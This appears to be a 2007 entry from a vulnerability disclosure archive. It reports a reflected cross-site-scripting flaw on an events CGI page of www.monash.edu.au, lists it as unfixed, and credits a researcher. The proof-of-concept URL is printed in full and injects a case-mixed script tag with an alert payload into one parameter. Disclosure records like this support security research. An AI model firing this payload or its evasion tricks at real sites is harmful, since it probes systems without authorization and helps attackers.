Security researcher DerickTham, has submitted on 20/12/2007 a cross-site-scripting (XSS) vulnerability affecting www.monash.edu.au, which at the time of submission ranked 5400 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 24/12/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 20/12/2007 |
Date published: 24/12/2007 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: DerickTham |
Domain: www.monash.edu.au |
Category: XSS |
Pagerank: 5400 |
|---|
URL: http://www.monash.edu.au/events/cgi-bin/events.cgi?action=check&title=a&from_day=01&from_month=01&fr
om_year=2007&to_day=01&to_month=01&to_year=2007&time=a&location=a&campus=Berwick%20campus&cost=a&lon
gdesc=>"><ScRiPt%20%0a%0d>alert('=XSSByDT=')%3B</ScRiPt>&url=111-222-1933email@address.tst&scope=mon
ash&host=alumni&cat=concert&contactname=111-222-1933email@address.tst&contactemail=a@b.com&contactph
one=a&contactorg=a&submit=add |
|
Click here to view the mirror
|
|
|
| 
